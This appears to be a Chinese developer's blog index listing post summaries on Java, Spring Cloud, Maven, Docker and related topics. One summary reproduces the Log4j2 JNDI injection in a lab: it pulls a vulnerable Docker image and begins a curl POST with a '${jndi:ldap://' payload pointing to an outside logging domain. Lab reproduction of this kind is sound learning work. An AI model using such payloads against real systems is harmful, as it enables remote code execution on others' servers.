自定义博客皮肤VIP专享

*博客头图:

格式为PNG、JPG,宽度*高度大于1920*100像素,不超过2MB,主视觉建议放在右侧,请参照线上博客头图

请上传大于1920*100像素的图片!

博客底图:

图片格式为PNG、JPG,不超过1MB,可上下左右平铺至整个背景

栏目图:

图片格式为PNG、JPG,图片宽度*高度为300*38像素,不超过0.5MB

主标题颜色:

RGB颜色,例如:#AFAFAF

Hover:

RGB颜色,例如:#AFAFAF

副标题颜色:

RGB颜色,例如:#AFAFAF

自定义博客皮肤

-+
  • 博客(39)
  • 资源 (5)
  • 收藏
  • 关注

原创 spring boot 重写时间格式序列化

【代码】spring boot 重写时间格式序列化。

2023-09-14 16:13:26 114

原创 jps命令

可能是因为您没有正确指定JAR程序的路径或名称。请确保在运行jps命令时,正确指定了JAR程序的路径和名称。另外,您还可以尝试使用jps -l命令来显示完整的JAR程序名称。今天碰到一个问题 jps显示不全java运行程序,该有jps -l全部显示。

2023-08-07 10:31:01 159

原创 oracle 和mysql函數對應

oracle 和mysql函數對應■系统日期·甲骨文SYSDATE·MySQL的NOW()■日期型→字符串类型转换(YYYY / MM / DD)·甲骨文:TO_DATE(TO_CHAR(SYSDATE),'YY-MM-DD“)·MySQL的:DATE_FORMAT(SYSDATE(),’%​​Y-%M-%D’)■TRUNC(日期)·甲骨文TRUNC(SYSDATE)·MySQL的DATE(SYSDATE())■ADD_MONTH·甲骨文ADD_MONTHS(SYSDAT

2022-04-01 11:48:31 476

转载 Linux基本命令转载一篇

https://blog.csdn.net/weixin_43122090/article/details/103646172

2022-02-24 17:02:24 122

原创 利用idea 打包

1、点击下拉按钮,选择编辑配置2、点击加号选择maven3、选择项目 输入package命令

2022-02-23 14:49:22 218

原创 Integer 细节点

发现一个比较有意思的面试题。看下面代码public class Test03 { public static void main(String[] args) { Integer f1 = 100, f2 = 100, f3 = 150, f4 = 150; System.out.println(f1 == f2); System.out.println(f3 == f4); }}上面的代码输出true false。为什么第一个true第二个不是呐?看一下Integer取值

2022-02-11 11:36:43 60

原创 HashMap的理解

HashMap 用来存储存储键值对继承自Map和AbstractMap内部结构是数组加链表加红黑树Hashmap会有一个哈希函数,哈希函数用来实现key和index之间的映射。通过hash还是计算出来的index会有有冲突,所以引出了哈希碰撞,当遇到哈希碰撞,在jdk1.8使用了链表加红黑树来处理。1.8之前使用的是链表。这里还有个小细节是1.8采用的尾插法,而1.7使用的是头插法。头插法会再多线程的情况下出现循环链表,尾插法优化了这一bug。为啥要使用红黑树呐,这是因为随着链表的增大,查询效率降低,

2022-02-11 10:26:10 232

原创 程序运行期间突然崩溃闪退

问题排查程序是个客户端程序一直运行正常。开年连续三天出现异常崩溃的情况。看了下日志,是由于网络经常中断,导致程序频繁重启tcp udp 服务,然后下面一堆连接程序的pad客户端,一直重连。按理说这也不会导致程序的崩溃。但是windows 系统家庭版,开启了一个Antimalware Service 的服务,这个服务占了三百多兆内存,这也就忍了,他还会进行全扫描,导致系统cpu升高,导致其他系统延迟中断。详细介绍可以看一下这个博客https://blog.csdn.net/weixin_30609331

2022-02-09 15:02:26 483

原创 JVM 内存模型是什么

总结:JVM 内存模型是什么?(1)JVM 内存模型共分为5个区:Java虚拟机栈、本地方法栈、堆、程序计数器、方法区(元空间)(2)各个区各自的作用:a.本地方法栈:用于管理本地方法的调用,里面并没有我们写的代码逻辑,其由native修饰,由 C 语言实现。b.程序计数器:它是一块很小的内存空间,主要用来记录各个线程执行的字节码的地址,例如,分支、循环、线程恢复等都依赖于计数器。c.方法区(Java8叫元空间):用于存放已被虚拟机加载的类信息,常量,静态变量等数据。d.Java 虚拟机栈:用于

2022-01-28 16:35:28 518

原创 为什么StringBuilder线程不安全,但StringBuffer线程安全?

我们可以看到StringBuilder、StringBuffer都是继承AbstractStringBuilder的。但是这Append的时候都是调用了父类的append。但是为什么一个线程安全一个不安全呐?别着急,看下面的代码对比。StringBuilder 代码块 @Override public StringBuilder append(Object obj) { return append(String.valueOf(obj)); } @Overri

2022-01-27 15:56:20 3138

原创 final和static的区别

修饰的范围final :属性、方法类和局部变量static 属性 方法 方法段 内部类 不能修饰局部变量改变契机final:编译期、运行期 初始化后不能被改变static:编译期 初始化后能改变作用:final 修饰属性跟具体对象有关 不同对象可以有不同值static 修饰的属性所有对象都只有一个值 强调一个...

2022-01-26 15:03:34 193

原创 Java中的String类能否被继承?为什么?

Java中的String类能否被继承?为什么?不能被继承,因为String类有final修饰符,而final修饰的类是不能被继承的。Java对String类的定义:public final class String implements java.io.Serializable, Comparable<String>, CharSequence { // 省略... }final修饰符的用法:修饰类当用final修饰一个类时,表明这个类不能被继承。final类中的成员变量

2022-01-26 10:46:34 501

转载 jdk和jre有什么区别?

jdk和jre有什么区别?JRE: Java Runtime EnvironmentJDK:Java Development Kit安装的过程中各位可能注意到了JRE这个名词,下面我们来聊聊JDK和JRE的关系和区别。JDK:它是Java开发运行环境,在程序员的电脑上当然要安装JDK;JRE:Java Runtime Environment它是Java运行环境,如果你不需要开发只需要运行Java程序,那么你可以安装JRE。例如程序员开发出的程序最终卖给了用户,用户不用开发,只需要运行程序,所以用户

2022-01-25 16:07:21 217

原创 String使用equals和==比较的区别

"=="操作符的作用1、用于基本数据类型的比较2、判断引用是否指向堆内存的同一块地址。equals的作用:用于判断两个变量是否是对同一个对象的引用,即堆中的内容是否相同,返回值为布尔类型String类型比较不同对象内容是否相同,应该用equals,因为==用于比较引用类型和比较基本数据类型时具有不同的功能。分析如下:String作为一个对象来使用例子一:对象不同,内容相同,"=="返回false,equals返回trueString s1 = new String(“java”);Str

2022-01-25 15:22:08 1341

原创 分享一下分期手续费如何折算成年利率

今天银行信用卡打电话让我办贷款,给出了三折利率。我听着挺诱人。但是又怕有坑。于是网上找了下手续费换算年利率的算法。这里记录一下以后别被坑了。最后换算下来差不多5.2的年利率,不算高。但是我实在没用还是不带了。然后写个程序方便以后使用 static void Main(string[] args) { Console.WriteLine("*********************信用好手续费换算年利率*******************");

2022-01-19 18:22:56 2534

转载 提升代码质量的方法:领域模型、设计原则、设计模式

一 影响代码差的根因1 差代码的体现我们可以列举出非常多质量差的代码的表现现象,如名字不知所意、超大类、超大方法、重复代码、代码难懂、代码修改困难……其中最为影响代码质量的两个表现是命名名不副实、逻辑可扩展性差,当一个新人阅读代码时,有时发现方法命名与实际逻辑对不上,这就让人感到非常疑惑,这种现象在平时工作并不少见;另一个就是逻辑扩展性差,一个新业务需求提出来后,发现要在多处改动,需要回归的业务逻辑比较多,造成研发效率不高。2 问题归纳对第1节中提到的现象进行问题归纳整理,大致整理出6类问题,分别展

2022-01-14 15:22:55 77

原创 数据库id生成 讨论

数据库id生成 讨论今天和同事讨论一个问题。同事问我java里数据库id怎么生成的。我说是自增长的,然后他问我那怎么保障自增长的是唯一的呐。其实我知道是数据库来保障的但是不清楚原理。问了下度娘给出了如下解释,MySql的实现是会针对每个插入语句加一个全表维度的锁,这个锁可以保证每次只有一条插入语句在执行,每插入一行数据,就会生成一个主键ID。也就是自增长可以解决单表的唯一性,如果是分布式数据库呐。我给出的方案是利用redis或者zookeeper换成来解决。这种方案的问题是,依赖第三方库,使用起来比较麻烦

2022-01-04 16:38:26 584

转载 分布式唯一ID生成器

分布式唯一ID生成器在应用程序中,经常需要全局唯一的ID作为数据库主键。如何生成全局唯一ID?首先,需要确定全局唯一ID是整型还是字符串?如果是字符串,那么现有的UUID就完全满足需求,不需要额外的工作。缺点是字符串作为ID占用空间大,索引效率比整型低。如果采用整型作为ID,那么首先排除掉32位int类型,因为范围太小,必须使用64位long型。采用整型作为ID时,如何生成自增、全局唯一且不重复的ID?方案一:利用数据库的自增ID,从1开始,基本可以做到连续递增。Oracle可以用SEQUENC

2022-01-04 16:06:41 139

原创 如何通过idea将jar发布到maven私服nexus

如何通过idea将jar发布到maven私服nexus配置maven setting.xml文件 <servers> <!-- server | Specifies the authentication information to use when connecting to a particular server, identified by | a unique name within the system (referred to by the '

2021-12-31 11:20:06 646

转载 Maven与nexus关系

开始在使用Maven时,总是会听到nexus这个词,一会儿maven,一会儿nexus,当时很是困惑,nexus是什么呢,为什么它总是和maven一起被提到呢?我们一步一步来了解吧。一、了解Maven,Maven用来干什么呢优秀的构建工具通过简单的命令,能够完成清理、编译、测试、打包、部署等一系列过程。同时,不得不提的是,Maven是跨平台的,无论是在Windows、还是在Linux或Mac上,都可以使用同样的命令。依赖管理工具项目依赖的第三方的开源类库,都可以通过依赖的方式引入到项目中

2021-12-31 10:13:52 1833

转载 GitLab上创建了新的分支,但在TortoiseGit上切换分支的时候发现找不到

问题:我在GitLab上创建了新的分支,但在TortoiseGit上切换分支的时候发现找不到。。。这个问题的原因就是本地获取的远程分支列表不是最新的,所以TortoiseGit找不到解决办法其实很简单:进入自己的项目中点击右键->打开Git Bash Here在命令框中输入git remote update origin --prune 更新远程分支列表重新使用TortoiseGit就可以看见最新的分支了最近发现一个新的方法,在项目里右击->选择TortoiseGit->选择f

2021-12-23 17:45:27 2230

原创 Sentienl 控制台与Nacos结合使用

生产环境下一般更常用的是 push 模式的数据源。对于 push 模式的数据源,如远程配置中心(ZooKeeper, Nacos, Apollo等等),推送的操作不应由 Sentinel 客户端进行,而应该经控制台统一进行管理,直接进行推送,数据源仅负责获取配置中心推送的配置并更新到本地。因此推送规则正确做法应该是 配置中心控制台/Sentinel 控制台 → 配置中心 → Sentinel 数据源 → Sentinel,而不是经 Sentinel 数据源推送至配置中心。这样的流程就非常清晰了:但是官网

2021-12-22 14:36:16 992

原创 sentinel 入门详解

Sentinel 的使用可以分为两个部分:核心库(Java 客户端):不依赖任何框架/库,能够运行于 Java 8 及以上的版本的运行时环境,同时对 Dubbo / Spring Cloud 等框架也有较好的支持(见 主流框架适配)。控制台(Dashboard):控制台主要负责管理推送规则、监控、集群限流分配管理、机器发现等。我们将会提供 本地运行 demo 和 阿里云公网 demo 来帮助新手快速入门。这两种方式都只需要您执行2到5个步骤。其中阿里云 AHAS demo 支持全自动托管的集群流控能力

2021-12-20 14:47:39 825

原创 log4j2 JNDI注入复现

复现现象:这个镜像使用了log4j2用来当做靶机程序1、拉取一个docker镜像 docker pull vulfocus/log4j2-rce-2021-12-092、跑起来docker run -tid -p 38080:8080 vulfocus/log4j2-rce-2021-12-093、进入这个平台 https://log.xn–9tr.com/ 点击获取一个域名4、执行一个post curl -X POST -F “payload=${jndi:ldap://

2021-12-14 16:59:16 6442

原创 Mybatis 单个参数传递的问题

记录下遇到的错误:"org.mybatis.spring.MyBatisSystemException: nested exception is org.apache.ibatis.reflection.ReflectionException: There is no getter for property named ‘id’ in 'class java.lang.Long’代码如下@Mapper public interface CrmStudentRepeatLogMapper extends

2021-12-10 11:07:00 311

原创 Spring Cloud Ribbon 详解

Ribbon是什么Ribbon是一个客户端负载均衡器,它赋予了应用一些支配HTTP与TCP行为的能力,这里的负载均衡是客户端的负载均衡,也有人称为后端负载均衡是进程内负载均衡的一种。Ribbon是SpringCloud生态里的不可缺少的组件,有了它,是个服务的横向扩展更加方便了。此外想Feign和Zuul默认是集成了Ribbon。Ribbon是Neflix开源的一个组件,目前Ribbon早已进入维护状态,但是就目前的情况来看,Spring Cloud Netflix的一些组件还是可以使用。Spring

2021-12-08 11:45:46 904

原创 元宇宙之SandBoxGame 初体验

1、国内用户首先要回fq2、搜索sandbox 3、进入sandbox进入之后让你注册一个钱包。这个钱包是用来存储你赚到的虚拟币的。注册完成之后登录即可游玩ALPHA版本首页介绍第一步试玩Alpha版本。我也不懂是个啥按着做就是了。你将会了解到:如何运作?你能做什么?又能获取什么?我们会将一切都告知你!Alpha版本欢迎所有玩家的加入!在单人和多人游戏中,探索惊奇且独特的虚拟世界。针对所有人开放!Bullet Point有限内容: 你可以前往Alpha中心,参与3个游戏体验进行探索,

2021-12-06 15:56:00 2856

原创 Spring Cloud Nacos 使用快速开始

Spring Cloud 是什么我们先来打开Spring Cloud的官网,学习一个东西最好的办法是通过官网来认识它,如果这个东西官网做的一塌糊涂我们就没必要花费心思去学了。打开地址:https://spring.io/projects/spring-cloud这一段就是对Spring Cloud的解释。翻译过来大致意思:Spring Cloud 为开发者提供了快速构建分布式系统中一些常用模式的工具(例如配置管理、服务发现、断路器、智能路由、微代理、控制总线、一次性令牌、全局锁、领导选举、分布式会

2021-12-06 11:19:01 267

原创 Git 命令 配置 学习地址

Git 学习地址https://git-scm.com/book/zh/v2

2021-12-01 14:29:45 54

原创 consul、eureka、nacos对比

**配置中心**eureka 不支持consul 支持 但用起来偏麻烦,不太符合springBoot框架的命名风格,支持动态刷新nacos 支持 用起来简单,符合springBoot的命名风格,支持动态刷新注册中心eureka应用内/外:直接集成到应用中,依赖于应用自身完成服务的注册与发现,CAP原则:遵循AP(可用性+分离容忍)原则,有较强的可用 性,服务注册快,但牺牲了一定的一致性。版本迭代:目前已经不进行升级集成支持:只支持SpringCloud集成-访问协议:H

2021-11-26 14:16:02 145

原创 bootstrap.yml配置不生效问题

今天在使用springclod时发现bootstrap.yml不生效查了下时springclod版本和spring boot 版本不对应。于是修改了版本我是这样查找对应关系的查看spring cloud 发布的日志https://github.com/spring-cloud/spring-cloud-release/wiki/Spring-Cloud-Hoxton-Release-Notes但是发布日志里面没有spring cloud context然后去mvn仓库里查找了下https:

2021-11-25 17:17:33 1352

原创 软件开发版本 Alpha、Beta、RC、GA

Alpha:是内部测试版,一般不向外部发布,会有很多Bug.一般只有测试人员使用。Beta:也是测试版,这个阶段的版本会一直加入新的功能。在Alpha版之后推出。RC:(Release Candidate) 顾名思义么 ! 用在软件上就是候选版本。系统平台上就是发行候选版本。RC版不会再加入新的功能了,主要着重于除错。GA:General Availability,正式发布的版本,在国外都是用GA来说明release版本的。RTM:(Release to Manufacture)是给工厂大量压片的版

2021-11-25 11:10:03 919

原创 微服务简单梳理

微服务简单梳理什么是微服务想弄懂这个问题,可以看下马丁福乐的论文。论文地址如下https://martinfowler.com/articles/microservices.html简单归纳,是一种将单个应用程序开发为一组小服务的方法,每个小服务都在自己的进程中运行并与轻量级机制(通常是HTTP资源API)进行通信。这些服务围绕业务功能构建,并且可以由全自动部署机制独立部署。这些服务的集中管理几乎没有,可以用不同的编程语言编写并使用不同的数据存储技术。这样看还是有点蒙。我们先来看看传统的服务构建模式

2021-11-24 16:47:51 228

原创 利用idea 打包jar包

IDEA 打包jar包1、打开File->Project Structure2、选择Artifacts 点击加号3\选择jar empty5、输入名称7、点击maven 点击package8、打包完成

2021-11-23 15:37:07 531 2

原创 Linux 下的 Docker 安装与使用

Linux 下的 Docker 安装与使用安装与配置1.安装依赖包sudo yum install -y yum-utils device-mapper-persistent-data lvm22.设置阿里云镜像源sudo yum-config-manager --add-repo https://mirrors.aliyun.com/docker-ce/linux/centos/docker-ce.repo 3.安装 Docker-CEsudo yum install docker-ce

2021-11-23 15:26:30 679 1

转载 spring boot 自动装备初探

pom.xml新建一个springboot项目。首先看pom.xml文件。ctrl+鼠标依次点进去默认提供的依赖都在这个pom文件中我们可以看到有很多组件版本所以我们在引入组件的时候只要在这个文件中有得就不需要再声明版本号,但是如果没有则需要SpringBoot将所有的功能场景都抽取出来,做成一个个的starter (启动器),只需要在项目中引入这些starter即可,所有相关的依赖都会导入进来 , 我们要用什么功能就导入什么样的场景启动器即可 ;我们未来也可以自己自定义 starter;

2021-11-05 11:42:23 285 1

原创 idea yml智能提示失效

2021-11-04 17:22:31 176

原创 2021-11-04

SpringBoot MetaObjectHandler不生效如果你的其他包都在使用了@SpringBootApplication注解的mainapp所在的包及其下级包,则你什么都不用做,SpringBoot会自动帮你把其他包都扫描了如果你有一些bean所在的包,不在mainapp的包及其下级包,那么你需要手动加上@ComponentScan注解并指定那个bean所在的包欢迎使用Markdown编辑器你好! 这是你第一次使用 Markdown编辑器 所展示的欢迎页。如果你想学习如何使用Mar

2021-11-04 17:06:52 94

原创 C# 利用FluorineFx-4.0 RTMP-Server 真实可用

RTMPServer Rtmp服务器利用FluorineFx-4.0开发RtmpServer效果展示代码展示操作流程遗留问题未来计划项目说明项目下载地址利用FluorineFx-4.0开发RtmpServer效果展示Rtmp客户端使用手机导播软件可以实现Rtmp推流,我用的是芯象导播。Rtmp接收流是自己写的服务。图片如下:代码展示 /// <summary> /// 初始化按钮 /// </summary> ///

2020-08-24 16:40:48 1702 2

deep-person-reid-master.zip

行人充重识别行人充重识别行人充重识别行人充重识别行人充重识别行人充重识别行人充重识别行人充重识别行人充重识别行人充重识别

2020-08-26

CefSharp-master.zip

cef浏览器源码 cef浏览器源码cef浏览器源码cef浏览器源码cef浏览器源码cef浏览器源码cef浏览器源码cef浏览器源码

2020-08-26

bootstrap-4.5.0-dist.zip

bootstrap源码 bootstrap源码 bootstrap源码bootstrap源码bootstrap源码bootstrap源码bootstrap源码bootstrap源码bootstrap源码

2020-08-26

RtmpServer.zip

使用c# 搭建一个rtmp服务。本次测试使用的是手机导播软件进行推流。使用其他推流工具也可以测试。包含了h264解码、音频解码。

2020-08-24

dotnetcore2.0源码

dotnetcore2.0源码欢迎下载,适用于想学习dotnetcore的同学

2019-01-28

空空如也

TA创建的收藏夹 TA关注的收藏夹

TA关注的人

提示
确定要删除当前文章?
取消 删除